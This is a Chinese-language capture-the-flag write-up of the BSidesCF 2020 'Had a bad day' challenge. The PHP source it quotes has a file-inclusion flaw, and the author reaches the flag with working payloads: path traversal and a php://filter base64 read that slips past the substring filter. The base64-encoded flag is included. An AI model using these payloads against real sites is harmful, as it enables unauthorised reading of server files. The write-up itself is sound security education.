[BSidesCF 2020]Had a bad day

imtaieee發表於2024-11-13

開啟題目

 

 

 問我have a bad day?

隨便點一個出現了

 

 

 位址列出現了?category=woofers

然後點另外一個

 

 

 

位址列出現了?category=meowers

於是推測這個可能是開啟某個頁面

於是我嘗試用get傳參?category=flag.php

 

 

 出現了只支援woofers和meowers也就是前面點的那個

然後我嘗試在woofers後面加個.php

結果出現了

 

 

 說明它是你輸入一個然後他會自動補上一個.php

然後我找不到思路了,根據題目上面提供了github連結我找到了原始碼

 <?php
                $file = $_GET['category'];

                if(isset($file))
                {
                    if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
                        include ($file . '.php');
                    }
                    else{
                        echo "Sorry, we currently only support woofers and meowers.";
                    }
                }
                ?>

然後我本來以為是用陣列來繞過strops函式,

 

 

 結果出現了這個,失敗了。

然後我csdn上面看了下別人的wp。

說要用php偽協議讀取。

根據前面原始碼可知,要讀檔案必須要有woofers或者meowers

於是get傳參woofers/../flag

然後在原始碼裡面看到了

<!-- Can you read this flag? -->

要用php偽協議讀取flag

?category=php://filter/convert.base64-encode/resource=flag

 結果出現了

Sorry, we currently only support woofers and meowers.

 我想起來讀檔案裡面必須要有index,woofers之中的一個所以我改payload:

?category=php://filter/convert.base64-encode/woofers/resource=flag

然後得到了:

PCEtLSBDYW4geW91IHJlYWQgdGhpcyBmbGFnPyAtLT4KPD9waHAKIC8vIGZsYWd7ZGY4YjY2NjEtZjNmMC00ODIyLWJmZDUtZWQxNWY1YWMwMzU2fQo/Pgo=

  然後解個密就得到答案了。

相關文章